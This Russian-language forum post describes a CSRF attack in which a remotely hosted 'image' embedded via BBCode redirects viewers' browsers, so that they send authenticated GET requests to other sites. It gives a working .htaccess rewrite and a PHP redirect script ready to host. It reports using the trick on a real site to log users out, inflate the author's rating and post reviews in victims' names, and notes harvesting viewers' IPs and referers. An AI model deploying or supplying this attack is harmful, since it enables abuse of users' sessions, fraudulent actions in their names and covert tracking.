Староновая уязвимость запроса произвольной страницы браузером через картинку
Всем добрый день!
Благодаря данной уязвимости можно посылать GET запросы на любые сайты от имени пользователя с его Куками и правами на сайте
Предистория
Вчера я разместил на одном сайте картинку со своего сайта, а потом подумал, хм... а почему бы мне не поменять текст в картинке в зависимости от времени суток. Не долго думая, я переделал картинку в динамически генерируемую картинку на PHP и успешно подменял надпись на нужную мне. Плюс ко всему, я получил еще несколько полезных данных о пользователе, его IP и реферер страницы с которой картинка была запрошена. Потом я вспомнил про статью , которую когда то читал Xss без Xss. В ней рассказывалась старая уязвимость запроса браузером произвольной страницы от имени пользователя через картинку с контролируемого сайта, которая добавляется на страницу сайта который позволяет добавлять картинки с удаленных ресурсов или в BBCode [img]. Соответственно тогда были уязвимы все форумы, гостевые и прочие сайты, очень советую ту статью к прочтению. Эту уязвимость судя по самой теме и комментам скорее всего закрыли, подумал я, но....
Я попробовал сделать редирект в картинке и уязвимость сработала! Браузер успешно запросил страницу абсолютно другого домена и получил ее контент! Протестировал тоже самое через
Так я и не понял, изобрел ли я колесо, описанное много лет назад в той статье и это баянище, либо уязвимость снова открылась , если ее все же закрывали.
Судя по статусу статьи (Тема закрыта для ответов) и по комментариям:
Какинтош:08/09/2008 - эта дыра еще актуальна?
Thanat0z:08/09/2008 - На форуме запрещена некрофилия...
Я подумал что уязвимость закрыта, соответственно когда читал первый раз не стал проверять. В этом была моя ошибка: надо всегда проверять все баги, пускай даже закрытые. Ведь все меняется, старое закрытое иногда может снова заработать из-за каких то нововведений...
Благодаря данной уязвимости можно посылать GET запросы на любые сайты от имени пользователя с его Куками и правами на сайте. Области применения такой уязвимоти очень широкий, начиная от простого баловства с убиваем сессий у пользователя на чужих сайтах, до ддос атак на сайты, более подробно описано в старой статье.
Конечно античат знал, об этом и ввел токен на подтверждения дейcтвия, без передачи которого не получится выполнить выход из профиля, иначе вы бы смогли сейчас ощутить действие данной уязвимости на себе))
Что касается того сайта для которого я изначально делал динамическую картинку, то на нем я нашел несколько таких GET уязвимостей:
1. Разлогинивание на сайте http://site.ru/logout/
2. Накрутка рейтинга моего аккаунта http://site.ru/account/
3. Автоматический постинг отзыва от имени того пользователя, который открыл страницу с картинкой http://site.ru/account/
Скрипты для создания такой картинки на вашем хостинге:
1 Необходимо перенаправить все запрашиваемые картинки в директории сайта на какой нибудь файл, у меня к коде это будет файл image.php
Для этого надо создать файл в директории .htaccess с таким содержимым, если у вас сервер работает под апачем, для
DirectoryIndex index.php Options -Indexes # Comment the following line, if option Multiviews not allowed here Options -MultiViews Header set Access-Control-Allow-Origin * AddDefaultCharset utf-8 <ifModule mod_rewrite.c> RewriteEngine On RewriteCond %{REQUEST_URI} \.(js|css|jpg|jpeg|gif|png)$ RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ image.php [L,QSA] </ifModule>
Файл может отличаться, главное для подмены картинок находится внутри <ifModule mod_rewrite.c>......</ifModule>
2. Необходимо в той же папке создать файл image.php с таким кодом:
<?php header( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' ); /* Отключаем кеширование */ header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' ); /* Отключаем кеширование */ header( 'Cache-Control: no-store, no-cache, must-revalidate' ); /* Отключаем кеширование */ header( 'Cache-Control: post-check=0, pre-check=0', false ); /* Отключаем кеширование */ header( 'Pragma: no-cache' ); /* Отключаем кеширование */ /* А вот сам редирект */ header("Location: http://site.ru/page/"); /* Также можно добавить GET параметр к картинке куда переходить тогда можно будет передавать в ссылке на картинку ссылку для самомго редиректа, но такой подход не рекоммендуется */ if(array_key_exists('url',$_GET) && !empty($_SERVER['HTTP_REFERER'])) { $URI = parse_url($_SERVER['HTTP_REFERER']); header("Location: ".htmlspecialchars($_GET['url']).""); } else { header("Location: http://site.ru/page/"); } exit; ?>